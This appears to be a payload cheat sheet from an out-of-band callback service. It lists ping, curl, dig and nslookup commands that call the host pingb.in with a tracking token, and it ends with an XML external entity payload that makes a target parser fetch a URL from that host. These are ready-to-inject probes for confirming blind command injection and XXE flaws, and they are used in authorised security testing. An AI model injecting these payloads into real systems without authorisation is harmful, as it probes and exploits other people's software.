$ ping -c1 -p 007227c0e1d4ebd8d8344f98fe756a00 pingb.in
$ curl pingb.in/p/7227c0e1d4ebd8d8344f98fe756a
$ dig 7227c0e1d4ebd8d8344f98fe756a @pingb.in
$ dig 7227c0e1d4ebd8d8344f98fe756a.ns.pingb.in
C:\> nslookup 7227c0e1d4ebd8d8344f98fe756a pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/7227c0e1d4ebd8d8344f98fe756a">]> <foo>&xxe;</foo>